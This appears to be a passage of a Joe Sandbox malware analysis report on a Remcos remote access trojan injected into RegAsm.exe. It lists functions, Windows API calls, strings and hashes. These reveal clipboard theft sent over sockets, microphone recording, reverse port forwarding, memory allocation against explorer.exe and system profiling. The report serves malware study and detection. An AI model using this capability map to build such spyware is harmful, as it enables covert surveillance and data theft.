                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                              • String ID: 0VG$0VG$<$@$Temp
                              • API String ID: 1704390241-2575729100
                              • Opcode ID: 80039bebc9300f329d7d4246b0ce8421c0d0be0a5475c1be6c4e1aa994d609e9
                              • Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
                              • Opcode Fuzzy Hash: 80039bebc9300f329d7d4246b0ce8421c0d0be0a5475c1be6c4e1aa994d609e9
                              • Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99
                              Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                              Download Yara Rule
                              APIs
                              • OpenClipboard.USER32 ref: 00416941
                              • EmptyClipboard.USER32 ref: 0041694F
                              • CloseClipboard.USER32 ref: 00416955
                              • OpenClipboard.USER32 ref: 0041695C
                              • GetClipboardData.USER32 ref: 0041696C
                              • GlobalLock.KERNEL32 ref: 00416975
                              • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                              • CloseClipboard.USER32 ref: 00416984
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                              • String ID: !D@
                              • API String ID: 2172192267-604454484
                              • Opcode ID: 4530cadbb14fddee25ef175d735482f5b7b1ecf010632631c9690fb3e5ed724f
                              • Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
                              • Opcode Fuzzy Hash: 4530cadbb14fddee25ef175d735482f5b7b1ecf010632631c9690fb3e5ed724f
                              • Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69
                              Function 004132D2 Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
                              • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
                              • GetFileSize.KERNEL32(?,00000000), ref: 00413432
                              • UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
                              • CloseHandle.KERNEL32(00000000), ref: 0041345F
                              • CloseHandle.KERNEL32(?), ref: 00413465
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                              • String ID:
                              • API String ID: 297527592-0
                              • Opcode ID: c8607eadb7f648cd119cf038169f51a0334e47929f95f9aa533bbd49f0d75183
                              • Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
                              • Opcode Fuzzy Hash: c8607eadb7f648cd119cf038169f51a0334e47929f95f9aa533bbd49f0d75183
                              • Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E
                              Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
                              • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
                              • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ControlManager
                              • String ID:
                              • API String ID: 221034970-0
                              • Opcode ID: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                              • Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
                              • Opcode Fuzzy Hash: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                              • Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA
                              Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 00448135
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00448141
                              • _free.LIBCMT ref: 0044814C
                              • _free.LIBCMT ref: 00448157
                              • _free.LIBCMT ref: 00448162
                              • _free.LIBCMT ref: 0044816D
                              • _free.LIBCMT ref: 00448178
                              • _free.LIBCMT ref: 00448183
                              • _free.LIBCMT ref: 0044818E
                              • _free.LIBCMT ref: 0044819C
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast
                              • String ID:
                              • API String ID: 776569668-0
                              • Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                              • Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
                              • Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                              • Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5
                              Function 00445179 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 266COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • _memcmp.LIBVCRUNTIME ref: 00445423
                              • _free.LIBCMT ref: 00445494
                              • _free.LIBCMT ref: 004454AD
                              • _free.LIBCMT ref: 004454DF
                              • _free.LIBCMT ref: 004454E8
                              • _free.LIBCMT ref: 004454F4
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorLast$_abort_memcmp
                              • String ID: C$5}/
                              • API String ID: 1679612858-2391017092
                              • Opcode ID: 9a230522b66ee103f0b5d02c6619ea6d7647dc78be8ff38f2db07545005a246d
                              • Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
                              • Opcode Fuzzy Hash: 9a230522b66ee103f0b5d02c6619ea6d7647dc78be8ff38f2db07545005a246d
                              • Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44
                              Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Eventinet_ntoa
                              • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                              • API String ID: 3578746661-3604713145
                              • Opcode ID: 05c42a8275862105916410cb05f28230ec4bbfa298c3e0115c38b27023db1ff4
                              • Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
                              • Opcode Fuzzy Hash: 05c42a8275862105916410cb05f28230ec4bbfa298c3e0115c38b27023db1ff4
                              • Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE
                              Function 0044B3BC Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetConsoleCP.KERNEL32 ref: 0044B3FE
                              • __fassign.LIBCMT ref: 0044B479
                              • __fassign.LIBCMT ref: 0044B494
                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
                              • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000), ref: 0044B4D9
                              • WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000), ref: 0044B512
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                              • String ID: 5}/
                              • API String ID: 1324828854-169246594
                              • Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                              • Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
                              • Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                              • Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9
                              Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5
                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              • Sleep.KERNEL32(00000064), ref: 00417521
                              • DeleteFileW.KERNEL32(00000000), ref: 00417555
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CreateDeleteExecuteShellSleep
                              • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                              • API String ID: 1462127192-2001430897
                              • Opcode ID: 80bc1f01d41e6bb49ab2ea0752573067485f1394140a330d823018e0c212e60a
                              • Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
                              • Opcode Fuzzy Hash: 80bc1f01d41e6bb49ab2ea0752573067485f1394140a330d823018e0c212e60a
                              • Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C
                              Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                              • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe), ref: 0040749E
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CurrentProcess
                              • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                              • API String ID: 2050909247-4242073005
                              • Opcode ID: 1dcac826a5e52bf6061f4ebfcee704f683c74aacb316ad2bc9bf89965cfe4023
                              • Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
                              • Opcode Fuzzy Hash: 1dcac826a5e52bf6061f4ebfcee704f683c74aacb316ad2bc9bf89965cfe4023
                              • Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F
                              Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                              Download Yara Rule
                              APIs
                              • _strftime.LIBCMT ref: 00401D50
                                • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                              • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000), ref: 00401E02
                              • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                              • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                              • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                              • API String ID: 3809562944-243156785
                              • Opcode ID: 2a82ab0076c0d6d6c8320c03c1c844241e91b5265a3fceccd43811ae68df0b86
                              • Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
                              • Opcode Fuzzy Hash: 2a82ab0076c0d6d6c8320c03c1c844241e91b5265a3fceccd43811ae68df0b86
                              • Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E
                              Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                              Download Yara Rule
                              APIs
                              • std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
                              • int.LIBCPMT ref: 00410E81
                                • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                              • std::_Facet_Register.LIBCPMT ref: 00410EC1
                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
                              • __Init_thread_footer.LIBCMT ref: 00410F29
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                              • String ID: ,kG$0kG
                              • API String ID: 3815856325-2015055088
                              • Opcode ID: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                              • Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
                              • Opcode Fuzzy Hash: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                              • Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D
                              Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                              Download Yara Rule
                              APIs
                              • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                              • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000), ref: 00401C8F
                              • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                              • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                              • waveInStart.WINMM ref: 00401CFE
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                              • String ID: dMG$|MG$PG
                              • API String ID: 1356121797-532278878
                              • Opcode ID: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                              • Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
                              • Opcode Fuzzy Hash: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                              • Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                              Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476
                                • Part of subcall function 0041D50F: RegisterClassExA.USER32 ref: 0041D55B
                                • Part of subcall function 0041D50F: CreateWindowExA.USER32 ref: 0041D576
                                • Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580
                              • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
                              • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
                              • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
                              • TranslateMessage.USER32(?), ref: 0041D4E9
                              • DispatchMessageA.USER32 ref: 0041D4F3
                              • GetMessageA.USER32 ref: 0041D500
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                              • String ID: Remcos
                              • API String ID: 1970332568-165870891
                              • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                              • Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
                              • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                              • Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98
                              Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                              • Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
                              • Opcode Fuzzy Hash: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                              • Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69
                              Function 00447571 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 389COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: __freea$__alloca_probe_16_free
                              • String ID: a/p$am/pm$5}/$zD
                              • API String ID: 2936374016-3475397387
                              • Opcode ID: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                              • Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
                              • Opcode Fuzzy Hash: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                              • Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9
                              Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: tcp$udp
                              • API String ID: 0-3725065008
                              • Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                              • Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
                              • Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                              • Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A
                              Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                              Download Yara Rule
                              APIs
                              • __Init_thread_footer.LIBCMT ref: 004018BE
                              • ExitThread.KERNEL32 ref: 004018F6
                              • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401A04
                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                              • String ID: PkG$XMG$NG$NG
                              • API String ID: 1649129571-3151166067
                              • Opcode ID: f17f11b8b39cffc117ffaa71cd5d18446726339bb65f1098d7a399b3bb622f5a
                              • Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
                              • Opcode Fuzzy Hash: f17f11b8b39cffc117ffaa71cd5d18446726339bb65f1098d7a399b3bb622f5a
                              • Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E
                              Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 004079C5
                              • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000), ref: 00407A0D
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • CloseHandle.KERNEL32(00000000), ref: 00407A4D
                              • MoveFileW.KERNEL32 ref: 00407A6A
                              • CloseHandle.KERNEL32(00000000), ref: 00407A95
                              • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                                • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
                                • Part of subcall function 00404B96: SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040548B), ref: 00404BC3
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                              • String ID: .part
                              • API String ID: 1303771098-3499674018
                              • Opcode ID: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                              • Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
                              • Opcode Fuzzy Hash: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                              • Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                              Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                              Download Yara Rule
                              APIs
                              • SendInput.USER32(00000001,?,0000001C), ref: 004199CC
                              • SendInput.USER32(00000001,?,0000001C), ref: 004199ED
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A0D
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A21
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A37
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A54
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A6F
                              • SendInput.USER32(00000001,?,0000001C), ref: 00419A8B
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InputSend
                              • String ID:
                              • API String ID: 3431551938-0
                              • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                              • Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
                              • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                              • Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97
                              Function 0044139A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMONLIBRARYCODE
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: 5}/
                              • API String ID: 0-169246594
                              • Opcode ID: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                              • Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
                              • Opcode Fuzzy Hash: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                              • Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9
                              Function 00444CFB Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              • _free.LIBCMT ref: 00444E06
                              • _free.LIBCMT ref: 00444E1D
                              • _free.LIBCMT ref: 00444E3C
                              • _free.LIBCMT ref: 00444E57
                              • _free.LIBCMT ref: 00444E6E
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
